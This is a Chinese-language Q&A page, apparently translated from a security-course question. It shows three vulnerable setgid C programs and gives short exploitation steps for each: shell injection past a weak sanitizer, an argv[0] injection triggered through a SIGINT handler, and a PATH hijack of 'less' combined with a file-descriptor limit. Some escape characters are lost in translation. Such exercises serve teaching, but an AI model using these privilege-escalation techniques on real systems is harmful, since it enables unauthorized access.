C语言 如何使用set-guid(即set group identification)漏洞执行具有有限权限的文件



如何使用set-guid位漏洞使用以下3个易受攻击的程序来执行root拥有的文件/bin/grade ?我不是root,也不是bsp*组的成员,所以我访问程序的权限仅限于阅读&只有执行。对于文件/bin/grade,我只有读访问权限,但我想把它作为组bsp*.

-rwxr-sr-x 1 root bsp3    9673 Sep 25  2012 prog2
-rwxr-sr-x 1 root bsp4   10724 Sep 25  2012 prog3
-rwxr-sr-x 1 root bsp5    9557 Sep 25  2012 prog4

这三个程序是二进制文件,包含以下C代码:

//prog2:

int main(int argc, char **argv)
{
  /* set up command buffer */
  char cmdbuf[128] = "export IFS=' tn'; /usr/bin/file ";
  char *input = cmdbuf + strlen(cmdbuf);
  int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);
  gid_t egid = getegid();
  setregid(egid, egid);
  /* read input -- use safe function to prevent buffer overrun */
  fprintf(stdout, "Please enter a filename: ");
  fgets(input, len, stdin);
  /* sanitize input -- replace unsafe shell characters */
  for (; *input != ''; ++input) {
    switch (*input) {
    case '|': case '&':
    case '<': case '>':
    case '!': case '$':
    case ';':
      *input = ' ';
      break;
    }
  }
  /* execute command */
  system(cmdbuf);
  return 0;
}

//prog3:

char cmdbuf[128] = "echo interrupt signal caught, terminating ";
char *progname;
/*
 * Handle a ^C keyboard interrupt in case the program is running
 * too long and the user terminates.
 */
void handle_signal(int sig)
{
  int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);
  if (strlen(progname) > len)
    progname[len] = '';
  strcat(cmdbuf, progname);
  system(cmdbuf);
  exit(1);
}
void usage()
{
  printf("%s <n> where 0 < n <= 5.000n", progname);
  exit(1);
}
/*
 * The program takes one argument line parameter n (which has to be a
 * positive integer input parameter) and then prints out the first n
 * prime numbers.
 */
int main(int argc, char **argv)
{
  struct sigaction sa;
  int cnt, N, found;
  unsigned long candidate, divisor;
  gid_t egid = getegid();
  setregid(egid, egid);
  /* set up signal handling */
  memset(&sa, sizeof(struct sigaction), 0);
  sa.sa_handler = handle_signal;
  sigaction(SIGINT, &sa, NULL);

  /* process argument */
  progname = argv[0];
  if (argc != 2)
    usage();
  N = strtol(argv[1], NULL, 10);
  if ((N <= 0) || (N > 5000))
    usage();

  /* calculate prime numbers -- simple sieve */
  candidate = 1;
  for (cnt = 0; cnt < N; ++cnt) {
    for (;;) {
      found = 1;
      divisor = 2;
      candidate += 1;
      while (divisor <= candidate/2) {
        if ((candidate % divisor) == 0) {
          found = 0;
          break;
        }
        else
          ++divisor;
      }
      if (found)
        break;
    }
    printf("%ldn", candidate);
  }
  return 0;
}

//prog4:

int main(int argc, char **argv) {
  FILE *file = fopen("/etc/passwd","r");
  if (file==NULL)
    {
      printf("Oh no, first open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file2 = fopen("/etc/passwd","r");
  if (file2==NULL)
    {
      fclose(file);
      printf("Oh no, second open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file3 = fopen("/etc/passwd","r");
  if (file3==NULL)
    {
      fclose(file);
      fclose(file2);
      printf("Oh no, third open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file4 = fopen("/etc/passwd","r");
  if (file4==NULL)
    {
      fclose(file);
      fclose(file2);
      fclose(file3);
      printf("Oh no, fourth open failed!n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  /* Imagine we are doing something very important and useful here... */
  printf("I managed to successfully open the /etc/passwd file 4 times! I am the king yeahaaaa!nn");
  printf("Never think you've seen the last of anything. Eudora Weltynn");
  return 0;
}

这个问题可以通过利用shell注入漏洞来解决。

prog2

:

$ /usr/local/bin/prog2

当提示时,输入/bin/grade作为文件名,其中包含消毒剂忘记处理的特殊字符'。

prog3

:

$ exec -a “;/bin/grade” /usr/local/bin/prog3 5000

但是你必须快速点击Ctrl+C,以便调用中断信号函数。

prog4

:

$ cd ~/
$ export PATH=/path/to/your/home:$PATH //prepend the path to your current/home directory so that the system looks there for `less`
$ ln -s -f /bin/grade less
$ ulimit -n 6
$ /usr/local/bin/prog4

最新更新